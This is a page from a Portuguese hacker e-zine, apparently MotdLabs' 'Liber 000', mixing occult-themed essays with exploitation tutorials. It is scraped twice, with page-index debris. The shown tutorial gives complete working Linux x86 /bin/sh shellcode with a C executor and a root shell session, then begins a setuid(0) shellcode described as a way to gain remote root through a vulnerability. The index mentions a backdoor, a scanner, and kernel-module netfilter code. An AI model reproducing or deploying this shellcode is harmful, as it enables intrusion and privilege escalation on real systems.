Liber 000 - Astrum Argentum
Liber 000 - Astrum Argentum Liber 000 - Astrum Argentum
0x8048324 : 0x31 (gdb) 0x8048325 : 0xc0 (gdb) 0x8048326 : 0x50 (gdb) 0x8048327 : 0x68 (gdb) 0x8048328 : 0x2f (gdb) ... ... ... 0x8048340 : 0xdb (gdb) 0x8048341 : 0xb0 (gdb) 0x8048342 : 0x01 (gdb) 0x8048343 : 0xcd (gdb) 0x8048344 : 0x80 (gdb) shellcode/hexash.c /* * Protótipo de shellcode em ASM. * Abre uma shell /bin/sh. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o hexash hexash.c */ #include char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */ "\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */ "\x89\xe3" /* mov %esp, %ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x31\xd2" /* xor %edx, %edx */ "\xb0\x0b" /* mov $0xb, %al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax, %eax */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb0\x01" /* mov $0x1, %al */ "\xcd\x80"; /* int $0x80 */ main() { /* Mostramos o tamanho para se ter um controle maior. */ printf("Tamanho do Shellcode: %d bytes.\n", strlen (shellcode)); 78
* Criamos um ponteiro para uma função do tipo long. */ long (*executa) (); /* Apontamos a função para o shellcode. */ executa = shellcode; /* E aqui acontece a mágica! :) */ executa(); } shellcode/hexash.c root@motdlabs:~/IP_FIX/shellcode# gcc -o hexash hexash.c hexash.c: In function `main': hexash.c:36: warning: assignment from incompatible pointer type root@motdlabs:~/IP_FIX/shellcode# ./hexash Tamanho do Shellcode: 33 bytes. sh-2.05b# w00w00!!! Um shellcode /bin/sh de 33 bytes. Isso é incrível pra quem está acostumado com o tamanho do Aleph1 (45 bytes), mas não tem nenhuma técnica desconhecida. Que tal incrementarmos um pouquinho? É mais que óbvio que usaremos essa shell para conseguir acesso remoto através de alguma vulnerabilidade. E que tal assim que cairmos, termos permissões root (uid=0)??? Sim! Isso é possível, e é mais fácil do que você imagina. Vamos ver.: shellcode/csetuid.c /* * Protótipo de shellcode em C. * Seta uid atual para 0. * by IP_FIX . * MotdLabs . * Compilação: # gcc -o csetuid csetuid.c */ #include main() { setuid(0); } shellcode/csetuid.c root@motdlabs:~/IP_FIX/shellcode# gcc -o csetuid csetuid.c root@motdlabs:~/IP_FIX/shellcode# ./csetuid root@motdlabs:~/IP_FIX/shellcode# Ok, agora vamos ver como funciona e criá-lo em ASM: root@motdlabs:~/IP_FIX/shellcode# man setuid int setuid(uid_t uid); 79
- Page 27 and 28: main(){ int e_socket; struct sockad
- Page 29 and 30: utilizando a função CONNECT(). co
- Page 31 and 32: O Grande exemplo I : Eis aqui o sca
- Page 33 and 34: } /*Declaracao do Socket*/; } msock
- Page 35 and 36: transmitidos e aceitos pelo destino
- Page 37 and 38: SackOK é típico de um cliente FTP
- Page 39 and 40: int nsocket, newsocket; struct sock
- Page 41 and 42: if ((he=gethostbyname(argv[1])) ==
- Page 43 and 44: O backtcp.c O backdoor aqui apresen
- Page 45 and 46: Apresentando o Código : Finalmente
- Page 47 and 48: ) Protocolo IP (IP Protocol) - Este
- Page 49 and 50: ICMP (Internet Control Message Prot
- Page 51 and 52: # error "Please fix " #endif u_int8
- Page 53 and 54: ip_origem = inet_addr("127.0.0.1");
- Page 55 and 56: if (envia == -1) { perror("sendto()
- Page 57 and 58: Por Frater Q.V.I.F. 196 O E Q U I N
- Page 59 and 60: de Crowley, não exatamente a tradu
- Page 61 and 62: shellcodes, mas não quer dizer que
- Page 63 and 64: } shellcode/cwrite.c OBS: Sempre d
- Page 65 and 66: Vamos analisar o que fizemos e comp
- Page 67 and 68: da próxima instrução que no caso
- Page 69 and 70: Provavelmente você verá uma mensa
- Page 71 and 72: Type "show copying" to see the cond
- Page 73 and 74: oot@motdlabs:~/IP_FIX/shellcode# gc
- Page 75 and 76: * MotdLabs . * Compilação: # gcc
- Page 77: oot@motdlabs:~/IP_FIX/shellcode# gc
- Page 81 and 82: 0x8048317 : sub $0x8,%esp 0x804831a
- Page 83 and 84: in/sh; */ (0). */ main() { "\x89\xe
- Page 85 and 86: Lembre-se: Se você tiver alguma d
- Page 87 and 88: */ "push $0x6E69622F \n" /* ...a ou
- Page 89 and 90: main() { "\x89\xe1" /* mov %esp,%ec
- Page 91 and 92: */ "push $0x722F3A3A \n" /* ...nova
- Page 93 and 94: main() { "\x68\x3a\x30\x3a\x30" /*
- Page 95 and 96: "mov $0x66, %al \n" "int $0x80 \n"
- Page 97 and 98: Y O G A D I G I T A L Por Frater Ar
- Page 99 and 100: Preparação da Mente: Pratyahara -
- Page 101 and 102: 1a. Invocação : access denied for
- Page 103 and 104: Comando Url: http://www.google.com/
- Page 105 and 106: IPTables : é o atual firewall do G
- Page 107 and 108: extremamente útil ao administrador
- Page 109 and 110: Por: N E T F I L T E R + L K M S I
- Page 111 and 112: pacote não-promiscuo, etc), e ante
- Page 113 and 114: ... /* Network layer header */ unio
- Page 115 and 116: Blz, agora conhecemos o segundo arg
- Page 117 and 118: int hoknum; Blz quase terminada nos
- Page 119 and 120: substituida pelas flags -DMODULE e
- Page 121 and 122: Mãos a obra!! #define __KERNEL__ #
- Page 123 and 124: #include #include #include #incl
- Page 125 and 126: Por Frater Deny M A N I F E S T O F
- Page 127 and 128: No Novo Aeon, o Hacking emerge como
0x8048324 : 0x31<br />
(gdb)<br />
0x8048325 : 0xc0<br />
(gdb)<br />
0x8048326 : 0x50<br />
(gdb)<br />
0x8048327 : 0x68<br />
(gdb)<br />
0x8048328 : 0x2f<br />
(gdb)<br />
...<br />
...<br />
...<br />
0x8048340 : 0xdb<br />
(gdb)<br />
0x8048341 : 0xb0<br />
(gdb)<br />
0x8048342 : 0x01<br />
(gdb)<br />
0x8048343 : 0xcd<br />
(gdb)<br />
0x8048344 : 0x80<br />
(gdb)<br />
shellcode/hexash.c<br />
/*<br />
* Protótipo de shellcode em ASM.<br />
* Abre uma shell /bin/sh.<br />
* by IP_FIX .<br />
* MotdLabs .<br />
* Compilação: # gcc -o hexash hexash.c<br />
*/<br />
#include <br />
char shellcode[] = "\x31\xc0" /* xor %eax, %eax */<br />
"\x50" /* push %eax */<br />
"\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */<br />
"\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */<br />
"\x89\xe3" /* mov %esp, %ebx */<br />
"\x50" /* push %eax */<br />
"\x53" /* push %ebx */<br />
"\x89\xe1" /* mov %esp, %ecx */<br />
"\x31\xd2" /* xor %edx, %edx */<br />
"\xb0\x0b" /* mov $0xb, %al */<br />
"\xcd\x80" /* int $0x80 */<br />
"\x31\xc0" /* xor %eax, %eax */<br />
"\x31\xdb" /* xor %ebx, %ebx */<br />
"\xb0\x01" /* mov $0x1, %al */<br />
"\xcd\x80"; /* int $0x80 */<br />
main() {<br />
/* Mostramos o tamanho para se ter um controle maior. */<br />
printf("Tamanho do Shellcode: %d bytes.\n", strlen<br />
(shellcode));<br />
78